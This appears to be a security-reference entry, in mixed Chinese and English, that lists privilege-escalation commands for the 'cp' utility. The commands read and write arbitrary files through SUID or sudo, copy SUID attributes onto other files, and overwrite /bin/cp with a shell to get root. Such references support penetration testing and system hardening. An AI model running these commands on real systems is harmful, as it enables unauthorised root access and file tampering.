从文件中读取数据。
LFILE=要读取的文件路径
cp "$LFILE" /dev/stdout
将数据写入文件中。
LFILE=要写入的文件
echo "DATA" | cp /dev/stdin "$LFILE"
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
LFILE=要写入的文件
echo "DATA" | ./cp /dev/stdin "$LFILE"
This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of cp
has the --parents
option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) LFILE=要写入的文件
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
This can copy SUID permissions from any SUID binary (e.g., cp
itself) to another. LFILE=要更改的文件
./cp --attributes-only --preserve=all ./cp "$LFILE"
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
LFILE=要写入的文件
echo "DATA" | sudo cp /dev/stdin "$LFILE"
This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of cp
has the --parents
option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) LFILE=要写入的文件
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
This overrides cp
itself with a shell (or any other executable) that is to be executed as root, useful in case a sudo
rule allows to only run cp
by path. Warning, this is a destructive action. sudo cp /bin/sh /bin/cp
sudo cp